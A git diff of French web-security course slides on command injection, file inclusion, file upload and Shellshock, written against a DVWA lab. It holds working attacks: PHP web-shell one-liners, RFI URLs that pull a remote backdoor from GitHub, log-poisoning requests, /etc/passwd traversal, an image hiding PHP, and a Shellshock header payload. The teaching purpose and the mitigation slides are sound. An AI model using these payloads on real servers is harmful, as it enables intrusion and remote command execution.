diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md
index 759a3904686d7d453151750fa09dc3732b5c6e51..ddbb1d7bd759752e7b1d62c0705f56b4b765a62c 100644
--- a/content/Etudiants/zz2-f5-websec.md
+++ b/content/Etudiants/zz2-f5-websec.md
@@ -29,14 +29,13 @@ Tags: cours
 
     * [Command execution](slides/1337/cmdi.html)
 
-* Exploit
+      * [Shellshock](slides/1337/shellshock.htm)
 
-    * [Shellshock](https://doc.m4z3.me/_/1337/shellshock.htm)
-    * [Upload](https://doc.m4z3.me/_/1337/upload.htm)
-    * [LFI_RFI](https://doc.m4z3.me/_/1337/LFI_RFI.htm)
+    * [Upload](slides/1337/upload.htm)
+    * [LFI_RFI](slides/1337/fi.htm)
     * [XSS](https://doc.m4z3.me/_/1337/XSS.htm)
     * [CSRF](https://doc.m4z3.me/_/1337/CSRF.htm)
-  * [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm)
+    * [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm)
 
 * Exploit
 
diff --git a/content/slides/1337/fi.html b/content/slides/1337/fi.html
new file mode 100644
index 0000000000000000000000000000000000000000..186ec1f95ab4d5b72fac32d5339535e668c9474f
--- /dev/null
+++ b/content/slides/1337/fi.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>File inclusion</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/fi.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/images/shellshock/shellshock-bug.png b/content/slides/1337/images/shellshock/shellshock-bug.png
new file mode 100644
index 0000000000000000000000000000000000000000..c64cd99b3893c934c2813af59c49b7c4d1b2a6be
Binary files /dev/null and b/content/slides/1337/images/shellshock/shellshock-bug.png differ
diff --git a/content/slides/1337/images/upload/kitten.jpg b/content/slides/1337/images/upload/kitten.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..33c3922c37b36ed0b9f35735c532a875bf7ee1cf
Binary files /dev/null and b/content/slides/1337/images/upload/kitten.jpg differ
diff --git a/content/slides/1337/images/upload/kitten.jpg.php b/content/slides/1337/images/upload/kitten.jpg.php
new file mode 100644
index 0000000000000000000000000000000000000000..33c3922c37b36ed0b9f35735c532a875bf7ee1cf
Binary files /dev/null and b/content/slides/1337/images/upload/kitten.jpg.php differ
diff --git a/content/slides/1337/images/upload/lego.jpeg b/content/slides/1337/images/upload/lego.jpeg
new file mode 100644
index 0000000000000000000000000000000000000000..f3f7d65e307a8b146badb74c24bc7614ee3a9ced
Binary files /dev/null and b/content/slides/1337/images/upload/lego.jpeg differ
diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md
index 99787aa91ab966094c2a0ba032a2399cfb7ca1c4..63381380a87b05a697b012487ebdc5390c93a8bc 100644
--- a/content/slides/1337/md/cmdi.md
+++ b/content/slides/1337/md/cmdi.md
@@ -1,13 +1,15 @@
-## Command execution
+# Command execution
+
+## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
+
 
 ### [security low](http://dv.wa/vulnerabilities/exec/)
 
-* exécutrion de commandes arbitraires sur le serveur
-* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
+* exécution de commandes arbitraires sur le serveur
 * triviale mais assez rare
 
 
-## Command execution
+### [security low](http://dv.wa/vulnerabilities/exec/)
 
 * paramètre non filtré
   * la commande est écrite en dur
@@ -27,7 +29,6 @@ Note:
     - non y a le cookie qui coince :/
         - admin:password
         - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
-- ce cas est faille assez rare
 - il faut injecter des commandes que le server connait
     - win/unix/linux/bsd/solarix/aix
         - pool de commandes par défaut
@@ -39,11 +40,9 @@ Note:
         - DVWA Security -> medium
 
 
-## Command execution
-
 ### [security medium](http://dv.wa/vulnerabilities/exec/)
 
-* les chaînes de caractères "&&" et ";" sont interdites
+les chaînes de caractères "&&" et ";" sont interdites
 
 ```shell
 # Pour y voir plus clair
@@ -79,8 +78,6 @@ Note:
         - DVWA Security -> high
 
 
-## Command execution
-
 ### [security high](http://dv.wa/vulnerabilities/exec/)
 
 * l'approche est ici différente
@@ -109,9 +106,8 @@ Note:
 netcat -v dv.wa 1337
 ```
 
-* \o/ nous disposons d'un accès à la machine i
-
-* avec les permissions de l'utilisateur www-data
+* \o/ nous disposons d'un accès distant à la machine
+  * avec les permissions de l'utilisateur www-data
 
 Note:
 - revenir en medium ou low security
@@ -143,6 +139,6 @@ Note:
 
 ## <i class="fa fa-medkit"></i> Se préserver
 
-* liste blanche
-* cron pour les traitements récurrents
-* ne pas installer `ǹetccat`
+* utiliser des listes blanches plutôt que des listes noires
+* utiliser cron pour les traitements récurrents
+* ne pas installer `netccat` ...
diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md
new file mode 100644
index 0000000000000000000000000000000000000000..9631666768f8f339d85aad0f14f409005e394c5e
--- /dev/null
+++ b/content/slides/1337/md/fi.md
@@ -0,0 +1,350 @@
+# File Inclusion
+
+## aka LFI / RFI
+
+
+##  File Inclusion
+
+* paramètres HTTP non filtrés
+
+```php
+include($_REQUEST['filename']);
+```
+
+* permet
+  * d'exécuter du code distant
+  * d'exécuter du code localement
+  * accéder à des fichiers locaux sensibles
+
+* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
+
+
+## Local File Inclusion (LFI)
+
+### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)
+
+* souvent appelé **Directory traversal**
+* permet d'accéder à des fichiers sensibles
+  * [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
+
+* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
+* marche pas avec /etc/shadow
+
+Note:
+- open base dir
+  - pas ou mal configiuré
+  - par défaut ispconfig
+- anciennement safe_mode
+
+
+### fichiers sytèmes connus
+
+* fichiers systèmes génériques
+  * c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
+  * /etc/passwd
+* utilisé des paths absolus
+* utilisé des paths relatifs (../.. ou ..\\..)
+* windows
+  * les sevrices tournent souvent en administaretur
+* linux
+  * services en root
+    * threads avec utlisateur sans privilege
+
+Note:
+- pas de troll sur windows
+  - stackoverflow fonctionne en .net
+  - microsoft a ouvert de nombreux projets
+- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem
+
+
+### fonction de l'architecture du code
+
+* charger la page appelée
+  * [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
+    * boucle infinie = ca marche
+      * invalider par (include|require)&lowbar;once
+
+
+### fonction de l'architecture du code
+
+* dossier d'inclusion dynamique de fichier
+  * paramètres d'url full path
+    * ?config=../template.htm
+  * paramètres d'url obfusqué
+    * ?config=site
+
+```php
+include "config/".$config.".php";
+```
+
+* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte
+
+[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)
+
+Note:
+- magic_quote_gpc doit être disabled
+  - supprimé de la version 5.4.0
+    - pas maquettée on une 5.4.41 sur debian
+- code source inclu interprété ou pas
+  - pas toujours évident à savoir
+    - bien comprendre le contexte
+- importance des paths collecter à l'étape de détection
+- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
+  - textfile passé en post à intercepter avec burp
+    - bon exercice
+
+
+## Remote File Inclusion (RFI)
+
+* inclusion de code arbitraire
+  * Backdoor ou Remote shell
+
+* dépend de la configuration de php
+  * par défaut
+
+```ini
+; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
+; http://php.net/allow-url-include
+allow_url_include=Off  
+```
+
+* à On pour les besoins du TP
+  * certains produits PHP nécessitent cette option
+
+
+### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
+
+Approche artisanale
+
+```php
+$file = str_replace("http://", "", $file);
+$file = str_replace("https://", "", $file);         
+```
+
+Note:
+- discuter la surcharge du php.ini via .htaccess
+  - solution ispconfig
+- on reste bien sur security low pour que ca marche
+
+
+## Backdoor
+
+* basiquement permet d'exécuter du code et / ou des commandes systèmes
+  * version artisanale
+
+```php
+echo passthru($&lowbar;GET['cmd']);
+```
+
+* version plus robuste
+  * [<i class='fa fa-github' aria-hidden='true'></i>  dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
+  * [r57shell.net](http://www.r57shell.net/)
+
+
+## remote raw backdoor
+
+<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
+
+### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
+
+<small>
+[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
+
+### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
+
+<small>
+[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
+</small>
+
+### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
+
+
+### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
+
+#### log poisoning
+
+* ne nécessite aucun accès en écriture sur le système de fichier
+* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
+  * [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)
+
+dans `/etc/apache2/sites-enabled/dvwa`
+
+```ìni
+CustomLog /home/mazenovi/logs/dvwa-access.log combined
+```
+
+
+#### log poisoning
+
+* l'utilisateur lié au thread apache a accès en lecture à ce répertoire
+
+<small>
+[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo)
+</small>
+
+* les logs sont affichés
+
+Note:
+- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
+  - pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
+  - lien symbolique doit marcher ausssi
+
+
+## injection de la backdoor
+
+* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
+
+```shell
+$ nc dv.wa 80
+```
+
+* Entrer manuellement les paramètres suivant
+
+```http
+GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
+Host: dv.wa
+Referer: <?php echo passthru($_GET['cmd2']); ?>
+User-Agent: <?php echo passthru($_GET['cmd3']); ?>
+```
+
+<small>
+[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
+</small>
+
+attendre le log rotate en cas d'échec
+
+Note:
+- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
+  - c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
+- attention c'est un one shot
+- > /home/mazenovi/logs/dvwa-access.log pour bien voir
+- > /home/mazenovi/logs/dvwa-error.log pour bien voir
+- ctrl + f "help" pour trouver les rep listés on est dans
+  - /var/www/dvwa/vulnerabilities/fi/
+
+
+## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
+
+* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
+
+```shell
+-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
+-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
+```
+
+```php
+readfile('/etc/passwd');
+```
+
+```shell
+Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
+allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
+```
+
+
+## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
+
+* résout le problème du partage de PHP
+  * environnement mutualisé
+* déprécié en 5.3
+* supprimé depuis 5.4
+* approche non réaliste
+  * ce n'est pas à PHP de régler ce problème
+* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé
+
+
+## [suPHP](http://www.suphp.org/Home.html)  
+
+* executing PHP scripts with the permissions of their owners
+* Apache module (mod_suphp)
+* setuid root binary (suphp)
+  * called by the Apache module to change the uid of the process executing the PHP interpreter
+  * rien ne doit être en chmod 777
+    * reporté comme erreur
+
+abandonné depuis 2013
+
+
+## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)
+
+* Au niveau d'Apache
+* exécution des programmes CGI et SSI (Server Side Inclusion)
+  * utilisateur autre que celui par défaut d'apache
+
+Note:
+- bien pour le multi hosting notamment
+  - chacun ne peut ruiner que son périmètre
+- Utilisée de manière appropriée
+  - réduit considérablement les risques de sécurité
+- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM
+
+
+## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
+
+* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
+  * le chemin vers le fichier est analysé
+    * si le fichier est à l'extérieur des dossiers spécifiés
+      * PHP refuse d'y accéder
+    * les liens symboliques sont résolus
+      * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
+
+
+## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
+
+* **.** inclue le fichier lui-même
+  * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
+
+* valeur typique
+
+```ini
+/var/www/:/usr/share/php:/tmp
+```
+
+Note:
+- utilisé et configuré en automatique dans ISPConfig
+- on peut désactiver chdir ...
+
+
+## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
+
+* realpath()
+  * converti tous les *.* et **..** en path absolue
+  * retourne null pour un path inexistant
+* basename()
+  * extrait la partie contenant le nom du dossier précédant directement le nom du fichier
+* 2 fonctions qui combinées évitent les directory traversal
+
+
+## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
+
+```php
+$username = $_GET['user'];
+$filename = "/home/users/".$username;
+readfile($filename);
+```
+
+peut être sécurisé via realpath() et basename()
+
+```php
+$username = basename(realpath($_GET['user']));
+$filename = "/home/users/".$username;
+readfile($filename);
+```
+
+ne préserve pas d'une LFI dans le même répertoire
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* filtrer ses entrées
+  * avec realpath() et basename()
+  * par listes blanches
+* déscativer allow_url_include
+* utiliser l'open_base_dir
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
+* faire attention aux permissions des logs notamment en lecture
+  * écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur
diff --git a/content/slides/1337/md/shellshock.md b/content/slides/1337/md/shellshock.md
new file mode 100644
index 0000000000000000000000000000000000000000..3f392e2cbc40f46b3f5b4a07ffa4ffccfaa3d851
--- /dev/null
+++ b/content/slides/1337/md/shellshock.md
@@ -0,0 +1,150 @@
+<!-- .slide: data-background="images/shellshock/shellshock-bug.png" data-background-size="99%" data-background-color="black"-->
+
+
+## se faire un système vulnérable
+
+* Pas évident
+  * dans le monde debian
+    * choisir une vieille [Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/)
+* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
+
+```shell
+$ sudo apt-get apache2 && sudo a2enmod cgi
+```
+
+
+## configuration
+
+```shell
+$ sudo vi /usr/lib/cgi-bin/netstat.cgi
+```
+
+```shell
+#!/bin/bash
+echo "Content-type: text/html"
+echo
+echo "Executing: netstat -nlt"
+echo
+echo "<pre>"
+/bin/netstat -nlt
+echo "</pre>"
+```
+
+
+## configuration
+
+```shell
+$ sudo vi /etc/apache2/sites-available/serve-cgi-bin.conf
+```
+
+```xml
+<IfModule mod_alias.c>
+    <IfModule mod_cgid.c>
+        Define ENABLE_USR_LIB_CGI_BIN
+    </IfModule>
+
+    <IfDefine ENABLE_USR_LIB_CGI_BIN>
+        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
+        <Directory "/usr/lib/cgi-bin">
+            AllowOverride None
+            Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
+            Require all granted
+        </Directory>
+    </IfDefine>
+</IfModule>
+```
+
+
+## timline
+
+* découverte en septembre 2014
+    * [Shellshock - timeline](http://www.dwheeler.com/essays/shellshock.html#timeline)
+    * [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)
+        * [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), which NIST says "exists because of an incomplete fix for CVE-2014-6271."
+    * existe depuis le lancement du logiciel il y a 22 ans
+        * interpréteur par défaut GNU/Linux et pas mal d'Unix libres
+
+
+## explications
+
+```shell
+() { 42;}; echo; /usr/bin/id
+```
+
+* **() { 42;}** fonction qui "fait" 42
+* **; echo** évite des erreurs serveur dans certains cas
+* **; /usr/bin/id** payload juste pour la PoC
+    * exécution de commandes arbitraires avec les privilèges du user apache
+
+
+## explications
+
+* ne dépend d'aucun appel système dans le script CGI
+  * le code est exécuté lors de la préparation des variables d'environnement
+  * ces variables peuvent contenir des fonctions appelable par le script
+    * mais en fait tout code hors fonction était exécuté ...
+
+Note:
+- vitesse de distribution des patchs
+    - temps de compilation et de distribution dans les paquets
+
+
+## Impacts
+
+* tout serveur utilisant des cgi en bash est vulnérable
+* concerne aussi
+    * certains DHCP
+    * serveurs de messagerie
+    * serveurs SSH
+    * Linux, Mac OS X, Android, Cygwin
+    * routeurs domestiques
+    * bitcoin core
+    * objets connectés en tout genre
+
+Note:
+    - pour la mail c'est certaines versions de qmail qui sont vulnérables
+    - Bitcoin core: porte monnaie bitcoin
+
+
+## Détection
+
+* [<i class="fa fa-twitter"></i> shodan](https://twitter.com/shodanhq)
+* [<i class="fa fa-newspaper-o"></i> shodan blog](http://blog.shodan.io/)
+* [CGI Shodan Search](https://www.shodan.io/search?query=html%3A.cgi)
+* [Shellshock Shodan Report](https://www.shodan.io/report/plt4tqpk)
+
+* test en ligne de commande
+
+```shell
+x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"
+```
+
+
+## Exploitation
+
+* avec burp suite par exemple
+
+```http
+GET /cgi-bin/netstat.cgi HTTP/1.1
+Host: go.od
+User-Agent: () { 42;}; echo; /usr/bin/id
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+```
+
+* affiche dans le navigateur en cas de vulnérabilité
+
+```shell
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+```
+
+Note:
+- si on arrive pas à voir ou si on veut tesr en aveugle
+    - ping d'un serveur maitrisé
+        - on attend les requêtes ping
+    - résolution d'un domaine maitrisé
+        - on attend les requêtes DNS
diff --git a/content/slides/1337/md/upload.md b/content/slides/1337/md/upload.md
new file mode 100644
index 0000000000000000000000000000000000000000..ea43747e0983c49d06d69fa50e367e6c3bbff416
--- /dev/null
+++ b/content/slides/1337/md/upload.md
@@ -0,0 +1,198 @@
+# upload
+
+
+## Upload de fichier
+
+* Risque
+  * Upload de code arbitraire
+    * Backdoor ou Remote shell
+
+* Deux problèmes
+  * filtrage des types de fichiers uploadés
+  * exposition / exécution des scripts au niveau du répertoire d'upload
+
+
+## Upload de fichier
+
+* Configurations liées à l'upload à différents endroits
+  * HTML (côté client)
+  * PHP (moteur de script)
+  * Apache (serveur web)
+
+* Ergonomiquement intéressant pour l'utilisateur
+  * [elFinder](http://elfinder.org) ...
+    * [et leurs problèmes de sécurité](https://github.com/Studio-42/elFinder/issues/815)
+
+Note:
+- MIME Multipurpose Internet Mail Extensions
+  - pour que les clients mail puissent afficher correctement les PJ
+- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
+
+
+### [security low](http://dv.wa/vulnerabilities/upload/)
+
+Upload d'un fichier bd.php simple
+
+```php
+echo passthru($_REQUEST['cmd'])
+```
+
+```php
+print_r($&lowbar;FILES);
+/*
+ * ici 2 fichiers uploadés
+ */
+array(1) {
+    ["uploaded"]=>array(2) {
+        ["name"]=>array(2) {
+            [0]=>string(9)"file0.txt"
+            [1]=>string(9)"file1.txt"
+        }
+        ["type"]=>array(2) {
+            [0]=>string(10)"text/plain"
+            [1]=>string(10)"text/html"
+        }
+    }
+}
+```
+
+
+### [security low](http://dv.wa/vulnerabilities/upload/)
+
+* Trouver le répertoire d'upload
+  * chemins connus dans produits connus
+  * code source HTML faisant référence au fichier uploadé
+
+[http://dv.wa/hackable/uploads/bd.php](http://dv.wa/hackable/uploads/bd.php)
+
+
+### [security medium](http://dv.wa/vulnerabilities/upload/)
+
+```php
+$_FILES['uploaded']['type']
+```
+
+* Filtrer par type mime
+  * déduit de l'entête HTTP *Content-Type* de la requête HTTP envoyant le fichier
+    * fakable
+
+  * [mime_content_type](http://php.net/manual/fr/function.mime-content-type.php)
+  * [exif_imagetype](http://php.net/manual/fr/function.exif-imagetype.php)
+  * [finfo_file](http://php.net/manual/fr/function.finfo-file.php)
+  * [getimagesize](http://php.net/manual/fr/function.getimagesize.php)
+
+
+### [security medium](http://dv.wa/vulnerabilities/upload/)
+
+bd.php
+
+```php
+echo passthru($_REQUEST['cmd'])
+```
+
+| Command                     | Output             |   
+| --------------------------- |:------------------:|
+| $_FILES['uploaded']['type'] | application/x-php  |   
+| mime_content_type           | text/x-php         |   
+| exif_imagetype              | null (no image)    |
+| finfo_file                  | text/x-php         |
+| getimagesize[2]             | null (no image)    |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+
+### [security medium](http://dv.wa/vulnerabilities/upload/)
+
+<small style="float: left">[lego.jpeg](images/upload/lego.jpeg)</small>
+
+[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
+
+| Command                     | Output             |
+| --------------------------- |:------------------:|
+| $_FILES['uploaded']['type'] | image/jpeg         |
+| mime_content_type           | image/jpeg         |
+| exif_imagetype              | 2 (IMAGETYPE_JPEG) |
+| finfo_file                  | image/jpeg         |
+| getimagesize[2]             | image/jpeg         |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+
+### [security medium](http://dv.wa/vulnerabilities/upload/)
+
+* [kitten.jpg.php](images/upload/kitten.jpg.php)
+
+![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 250px" -->
+
+* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
+
+
+### [security medium](http://dv.wa/vulnerabilities/upload/)
+
+<small style="float: left">[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
+
+![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
+
+| Command                     | Output             |
+| --------------------------- |:------------------:|
+| $_FILES['uploaded']['type'] | application/x-php  |
+| mime_content_type           | image/jpeg         |
+| exif_imagetype              | 2 (IMAGETYPE_JPEG) |
+| finfo_file                  | image/jpeg         |
+| getimagesize[2]             | null (no image)    |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+Note:
+- le .php est indispensable pour exécuter la charge dans la commentaire de l'image
+- parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
+- On pourrait également avoir une image malicieuse vouée à infecter le client
+  - autre hisoitre
+    - difficilement détectable à l'upload
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Filtrer par extension de fichier plutôt que par type MIME
+  * utiliser des listes blanches plutôt que des listes noires
+  * un nom de fichier peut contenir des points
+    * il faut bien prendre l'extension
+  * c'est ce qui est fait avec [security high](http://dv.wa/vulnerabilities/upload/)
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+désactiver php dans le répertoire d'upload
+
+#### via le vhost ou .htaccess
+
+```xml
+php_admin_value engine Off
+```
+
+Note:
+- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Ne plus servir le répertoire d'upload via apache
+  * sortir le répertoire d'upload du dossier servi par apache
+  * en interdire la lecture avec un htaccess renvoyant une 403 Forbidden
+
+#### via le vhost ou .htaccess
+
+```
+order deny, allow
+deny from all
+```
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php)
+  * prendre en charge la génération des en-têtes **Content-Type** "manuellement"
+    * [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/)
+      * permet une meilleure gestion des accès par permission
+        * accès à la session courante
+    * [<i class="fa fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
+
+Note:
+- attention toute la stack Sf2 à chaque image ou asset c'est chaud
diff --git a/content/slides/1337/shellshock.html b/content/slides/1337/shellshock.html
new file mode 100644
index 0000000000000000000000000000000000000000..d3beea8872ba1adb2edcd1325944a39df49bcdac
--- /dev/null
+++ b/content/slides/1337/shellshock.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>ShellShock</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/shellshock.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
